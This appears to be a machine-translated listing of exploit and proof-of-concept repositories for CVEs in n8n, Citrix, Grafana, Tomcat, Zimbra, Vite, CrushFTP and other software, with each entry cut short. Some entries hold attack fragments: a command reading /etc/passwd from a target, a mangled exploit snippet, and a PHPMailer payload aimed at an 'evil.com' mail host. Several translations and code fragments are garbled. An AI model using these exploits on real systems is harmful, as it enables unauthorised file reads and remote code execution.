CVE-2026-21858-and-CVE-2025-68613

Ni8mare: ثغرة RCE قبل المصادقة في n8n CVE-2026-21858 & CVE-2025-68613 — مختبر الثغرات وتقرير PoC بيئة تدريبية Vulnerable Lab وتقرير مفصّل لتحليل واستغلال سلسلة ثغرات Ni8mare على منصة n8n — من قراءة أي ملف Arbitrary File Read CVE-2026-21858 إلى تنفيذ الأوامر عن بُعد Remote Code Execution...

CVE-2020-8193

सिट्रिक्स एडीसी कमजोरियाँ CVE सूची https://support.citrix.com/article/CTX276688 कोड में while जोड़ें https://dmaasland.github.io/posts/citrix.html root@kitploit: responsestr = json.dumpsr.headers.dict'store' if r.statuscode == 406 and "Content-Disposition" in responsestr and...

M365-Assess

M365 Assess व्यापक M365 सुरक्षा आकलन उपकरण IT सलाहकारों और प्रशासकों के लिए केवल-पढ़ने योग्य Microsoft 365 सुरक्षा आकलन...

CVE-2018-14847

WinboxExploit यह महत्वपूर्ण WinBox भेद्यता CVE-2018-14847 का एक प्रूफ ऑफ कॉन्सेप्ट है जो सादे पाठ पासवर्डों के मनमाने फ़ाइल पढ़ने की अनुमति देता है। ब्लॉग पोस्ट https://n0p.me/winbox-bug-dissection/ आवश्यकताएँ Python 3+ यह स्क्रिप्ट Python 2.x या उससे निचले संस्करण के साथ नहीं चलेगी। कैसे उपयोग...

CVE-2021-43798

CVE-2021-43798 Grafana - قراءة ملف تعسفية 8.0.0 8.3.0 ثغرة في Grafana CVE-2021-43798 الإصدارات 8.0.0 8.3.0 تسمح لمهاجم غير مصادق بقراءة ملفات تعسفية من الخادم عبر استغلال اجتياز المسار المستهدف لمسار /public/plugins/ للوصول إلى ملفات حساسة على النظام. الاستخدام python3 exploit.py --domain --port ...

SharpStat

SharpStat أداة بلغة C تستخدم WMI لتشغيل "cmd.exe /c netstat -n"، وحفظ المخرجات في ملف، ثم استخدام SMB لقراءة وحذف الملف عن بُعد الوصف سيحاول هذا البرنامج النصي الاتصال بجميع أجهزة الكمبيوتر المقدمة واستخدام WMI لتنفيذ cmd.exe /c netstat -n . الملف الذي يتم حفظ المخرجات فيه محدد بواسطة '-file'...

CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb-

استشارة أمنية: اجتياز مسار غير مصادق عليه يسمح بقراءة ملفات عشوائية TinyWeb معرّف CVE المخصص: CVE-2026-67185 الملخص يبني TinyWeb مسار الملف المطلوب تقديمه بضم جذر الويب إلى URL الخاص بالطلب تمامًا كما يصل، دون أي تطبيع. يمكن لعميل بعيد لم يقم بالمصادقة أبدًا إدراج تسلسلات ../ في سطر الطلب وقراءة ...

CVE-2019-9791

سلسلة استغلال لـ CVE-2019-9791 و CVE-2019-11708 ضد Firefox 65.0 يعمل ضد Firefox 65.0 على ويندوز 64 بت. جزء CVE-2019-11708 مأخوذ من استغلال بواسطة 0vercl0k: https://github.com/0vercl0k/CVE-2019-11708 يستخدم الاستغلال CVE-2019-9791 للحصول على بدائية قراءة/كتابة في عملية المحتوى ثم CVE-2019-11708 لج...

CVE-2020-1938

CVE-2020-1938-tomcat-फ़ाइल डाउनलोड + फ़ाइल शामिल Tomcat-Ajp प्रोटोकॉल फ़ाइल पढ़ने की कमजोरी मूल POC स्रोत: https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/blob/master/poc.py संशोधन के बाद फ़ाइलों को शामिल किया जा सकता है, और कुछ शर्तों पर कमांड निष्पादित किए जा सकते हैं।...

spamassassin

Apache SpamAssassin Actions GitHub pour les tests Le projet Apache SpamAssassin utilise un dépôt subversion pour son processus de développement. Une copie en lecture seule du dépôt est maintenue sur GitHub ici. Le répertoire .github contenant ce fichier README ne fait pas partie du paquet de...

Poc_CVE-2025-68645

CVE-2025-68645 - Zimbra पथ ट्रैवर्सल भेद्यता 📋 अवलोकन CVE-2025-68645 एक पथ ट्रैवर्सल भेद्यता है Zimbra Collaboration Suite में जो अनधिकृत हमलावरों को सर्वर के फाइलसिस्टम से मनमानी फ़ाइलें पढ़ने की अनुमति देती है। संवेदनशील एंडपॉइंट /h/printconversations?javax.servlet.include.servletpath= 🎯 प्रभाव...

CVE-2025-27136-XXE-LocalS3

CVE-2025-27136 XXE-LocalS3 إثبات المفهوم لـ CVE-2025-27136 XXE في Local-S3 └─$ python3 exploit.py http://$ip:8080 /etc/passwd + تم اكتشاف خدمة S3 + إنشاء الحاوية: xxe-32d14993 + استجابة الخادم: ac3aaf20-e59a-4705-9505-3ebb01db7fc1 + استرداد الملف باستخدام ?location + الرد:...

CVE-2025-30208

🔥 CVE-2025-30208 Vite मनमानी फ़ाइल पढ़ने की भेद्यता स्कैनर CVE-2025-30208 के लिए उन्नत भेद्यता स्कैनर जिसमें एंटरप्राइज़-ग्रेड सुविधाएँ हैं Vite मनमानी फ़ाइल पढ़ने की भेद्यता का पता लगाने के लिए पेशेवर पैठ परीक्षण उपकरण 🚀 त्वरित आरंभ • 📋 विशेषताएँ • 🔧 उपयोग • 📊 उदाहरण • 🛡️ सुरक्षा 📖 अवलोकन यह एक...

CVE-2026-27971_POC

CVE-2026-27971 — ثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في Qwik server$ PoC !WARNING يحتوي هذا المستودع على إثبات مفهوم نشط لتنفيذ التعليمات البرمجية عن بُعد. استخدمه فقط ضد أنظمة تملكها أو مُخوَّل لك اختبارها صراحةً. لا يتحمّل المؤلف أي مسؤولية عن الاستخدام غير المصرّح به أو الأضرار...

CVE-2025-43919-POC

🚨 CVE-2025-43919: اجتياز الدليل في GNU Mailman 2.1.39 cPanel/WHM تم اكتشاف ثغرة جديدة في GNU Mailman 2.1.39 المضمن مع cPanel/WHM، مما يسمح للمهاجمين عن بُعد غير المصادق عليهم بقراءة ملفات عشوائية على الخادم عبر خلل في اجتياز الدليل. 📌 ملخص الثغرة: النوع : اجتياز الدليل بدون مصادقة المكوّن : برنام...

cve-2020-5902

cve-2020-5902 cve-2020-5902 POC d'exploit root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAME...

CVE-2025-30208-Series

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. Aperçu des vulnérabilités CVE-2025-30208, CVE-2025-31125 et CVE-2025-31486 sont des vulnérabilités de lecture de fichiers arbitraires dans le serveur de développement de Vite. Ces vulnérabilités permettent à un attaquant de contourner le contrôl...

cve-2023-42824

cve-2023-42824 गाय बाईपास डबल-रीड?...

CVE-2024-4040

CVE-2024-4040 ثغرة حقن قوالب من جانب الخادم في CrushFTP في جميع الإصدارات قبل 10.7.1 و 11.1.0 على جميع المنصات تسمح للمهاجمين البعيدين غير المصادَق عليهم بقراءة الملفات من نظام الملفات خارج VFS Sandbox، وتجاوز المصادقة للحصول على وصول إداري، وتنفيذ تعليمات برمجية عن بُعد على الخادم. هذا المستودع ...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...